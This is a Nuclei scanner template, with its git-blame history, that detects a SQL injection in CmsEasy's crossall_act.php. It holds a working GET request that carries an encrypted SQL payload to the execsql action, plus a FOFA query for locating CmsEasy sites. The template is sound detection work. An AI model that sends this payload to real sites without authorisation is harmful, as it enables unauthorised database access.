nuclei-templates/http/vulnerabilities/other/cmseasy-crossall-act-sqli.yaml

id: cmseasy-crossall-sqli

info:
  name: CmsEasy crossall_act - SQL Injection
  author: SleepingBag945
  severity: high
  description: |
    CmsEasy crossall_act.php SQL Injection Vulnerability. CmsEasy has a SQL injection vulnerability. Any SQL command can be executed by encrypting the SQL statement in the file service.php.
  reference:
    - https://cn-sec.com/archives/1580677.html
    - https://github.com/GREENHAT7/pxplan/blob/e2fc04893ca95e177021ddf61cc2134ecc120a8e/goby_pocs/CmsEasy_crossall_act.php_SQL_injection_vulnerability.json#L28
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="CmsEasy"
    product: cmseasy
    vendor: cmseasy
  tags: cmseasy,sqli

  classification:
    cpe: cpe:2.3:a:cmseasy:cmseasy:*:*:*:*:*:*:*:*
http:
  - method: GET
    path:
      - "{{BaseURL}}/?case=crossall&act=execsql&sql=WY8gzSfZwW9R5YvyK"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '{"123":"123"}'

      - type: status
        status:
          - 200

# digest: 4a0a00473045022100929d88207cf831719af940ad7c2cd665c6083d14880dda52fe45a37b98f59569022033701fb59cda3f31a1f6aff6ff1e6e22d1ab3605b1dbcfeda80ebbc6a5c2bcd0:922c64590222798bb761d5b6d8e72950
Updated assigned templates 2023-09-08 11:25:00 +00:00			`id: cmseasy-crossall-sqli`
Added some Templates 2023-08-18 03:22:06 +00:00
			`info:`
Updated assigned templates 2023-09-08 11:25:00 +00:00			`name: CmsEasy crossall_act - SQL Injection`
Added some Templates 2023-08-18 03:22:06 +00:00			`author: SleepingBag945`
			`severity: high`
			`description: \|`
Updated assigned templates 2023-09-08 11:25:00 +00:00			`CmsEasy crossall_act.php SQL Injection Vulnerability. CmsEasy has a SQL injection vulnerability. Any SQL command can be executed by encrypting the SQL statement in the file service.php.`
			`reference:`
			`- https://cn-sec.com/archives/1580677.html`
			`- https://github.com/GREENHAT7/pxplan/blob/e2fc04893ca95e177021ddf61cc2134ecc120a8e/goby_pocs/CmsEasy_crossall_act.php_SQL_injection_vulnerability.json#L28`
Added some Templates 2023-08-18 03:22:06 +00:00			`metadata:`
Updated assigned templates 2023-09-08 11:25:00 +00:00			`verified: true`
templateman update 2023-10-14 11:27:55 +00:00			`max-request: 1`
Added some Templates 2023-08-18 03:22:06 +00:00			`fofa-query: app="CmsEasy"`
Add missing cpes Added missing cpes 2024-09-10 08:22:50 +00:00			`product: cmseasy`
			`vendor: cmseasy`
Updated assigned templates 2023-09-08 11:25:00 +00:00			`tags: cmseasy,sqli`
Added some Templates 2023-08-18 03:22:06 +00:00
Add missing cpes Added missing cpes 2024-09-10 08:22:50 +00:00			`classification:`
			`cpe: cpe:2.3:a:cmseasy:cmseasy::::::::`
Added some Templates 2023-08-18 03:22:06 +00:00			`http:`
Updated assigned templates 2023-09-08 11:25:00 +00:00			`- method: GET`
			`path:`
			`- "{{BaseURL}}/?case=crossall&act=execsql&sql=WY8gzSfZwW9R5YvyK"`
Added some Templates 2023-08-18 03:22:06 +00:00
			`matchers-condition: and`
			`matchers:`
			`- type: word`
Updated assigned templates 2023-09-08 11:25:00 +00:00			`part: body`
Added some Templates 2023-08-18 03:22:06 +00:00			`words:`
			`- '{"123":"123"}'`

			`- type: status`
			`status:`
templateman update 2023-10-14 11:27:55 +00:00			`- 200`
TemplateMan Update [Fri Oct 20 11:41:12 UTC 2023] :robot: 2023-10-20 11:41:13 +00:00
			`# digest: 4a0a00473045022100929d88207cf831719af940ad7c2cd665c6083d14880dda52fe45a37b98f59569022033701fb59cda3f31a1f6aff6ff1e6e22d1ab3605b1dbcfeda80ebbc6a5c2bcd0:922c64590222798bb761d5b6d8e72950`